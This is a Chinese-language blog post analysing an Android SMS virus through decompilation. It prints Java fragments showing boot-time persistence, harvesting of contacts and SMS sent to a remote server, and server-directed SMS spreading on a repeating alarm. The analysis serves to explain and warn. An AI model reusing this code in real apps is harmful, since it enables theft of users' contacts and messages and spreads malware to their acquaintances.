[Android] 分析最近頗有名的簡訊病毒
今天要來討論一下最近非常夯的簡訊病毒,很多朋友都有收到這樣的簡訊,我的 Android 手機也收到好幾次,雖然我很笨的點下連結,但還好我即時點下 Back 鍵,沒發生什麼意外。
不過,既然自己接觸 Android 也有不短的時間了,那就剛好發揮一下專業來看看這個病毒到底會做些什麼事情。
Android APK 程式包裝是著名的容易反組譯,幾年前也剛好有個很強的反組譯軟體 dex2jar 出現,搭配 JD-GUI 還能很容易的看到反組譯出來的原始碼,大家有興趣也可以試試看。
如果想要知道怎麼反組譯,可以參考下面的步驟,
1. 安裝好 dex2jar 和 JD-GUI
2. 在 command line 執行
$> dex2jar.sh apkfile
這樣會在資料夾內產生一個名為 apkfile_dex2jar.jar 的檔案
3. 用 JD-GUI 打開該檔案就可以看到原始碼
—–
下面總結一下這個簡訊病毒的相關實作細節,
這些權限都是跟簡訊和聯絡人資料有關,跟我們所知道的病毒行為相符。
我們從 AndroidManifest.xml 可以看得出來它有三個關鍵組件,
每次手機開機,SMSServiceBootReceiver 都會收到 Broadcast,裡面的行為就是啟動 SMSService,所以手機重開機也無法停止病毒的行動。
public class SMSServiceBootReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
Intent localIntent = new Intent();
localIntent.setAction("com.example.android.services.SMSServices");
paramContext.startService(localIntent);
}
}
這個病毒的預設起始元件是 MainActivity,剛啟動時會去檢查是不是用 Emulator 執行該 APK,看來是怕被 try 病毒行為,可能也跟他的 Server 有關係吧。
剛剛有提到手機開機就會去執行 SMSService,另外,一旦我們執行這個程式後,SMSService 也會被啟動,基本上就是要確保 SMSService 能夠被運行起來。
在 SMSService 裡面會啟動 SMSObserver 及 SMSSender,接下來我們再來看這幾個部分。
SMSObserver 的部分,他會去看你的簡訊收件匣裡面所有未讀的簡訊,並把你收到的簡訊內容截取出來,最後將這些簡訊的內容送出到遠端 Server,內容會包含下面幾個資訊,
- 你自己的手機號碼
- 來訊者的手機號碼
- 訊息內容
- 訊息傳送時間
public void Send()
throws UnsupportedEncodingException, ParserConfigurationException, InterruptedException
{
ArrayList localArrayList = new ContactsHelper(this._Context).GetAllContacts();
WebServiceCalling localWebServiceCalling = new WebServiceCalling(this._Context);
String str1 = Tools.getPhoneNumber(this._Context);
String str2 = "";
Iterator localIterator = localArrayList.iterator();
while (true)
{
if (!localIterator.hasNext())
{
if (str2.length() > 0)
localWebServiceCalling.SC(null, str1, str2);
return;
}
String str3 = (String)localIterator.next();
str2 = str2 + "," + str3;
if (str2.length() > 20)
{
localWebServiceCalling.SC(null, str1, str2);
str2 = "";
}
}
}
- 你自己的手機號碼
- 聯絡人名稱
- 聯絡人手機號碼
localSmsManager.sendTextMessage(str8.trim(), null, str9, null, null);
localWebServiceCalling.log("SMS", "S", str1, str8 + "|" + str9);
public static void sendUpdateBroadcastRepeat(Context paramContext)
{
PendingIntent localPendingIntent = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, SMSSender.class), 0);
long l = SystemClock.elapsedRealtime();
((AlarmManager)paramContext.getSystemService("alarm")).setRepeating(2, l, 60000L, localPendingIntent);
}
new Thread(new Runnable()
{
public void run()
{
try
{
String str = WebServiceCalling.this.callWS(paramString);
if (paramHandler != null)
{
Message localMessage = new Message();
localMessage.what = paramInt;
localMessage.obj = str;
paramHandler.sendMessage(localMessage);
}
return;
}
catch (UnsupportedEncodingException localUnsupportedEncodingException)
{
localUnsupportedEncodingException.printStackTrace();
return;
}
catch (ParserConfigurationException localParserConfigurationException)
{
localParserConfigurationException.printStackTrace();
}
}
}).start();
簡訊內容的來源是遠端server,所以應該可以很快地改變訊息發送的內容,也可以依據狀況改變要發送的連結內容。
以上就是病毒程式碼大致的狀況,雖然這個病毒還需要安裝執行才會有作用,不過對於一般人來說,應該比較難警覺到 App 有詐。因為一旦被感染後,病毒就可以直接存取聯絡人資料,所以傳播速度真是非常快,這些病毒的猖獗真是可怕。
發佈留言
很抱歉,必須登入網站才能發佈留言。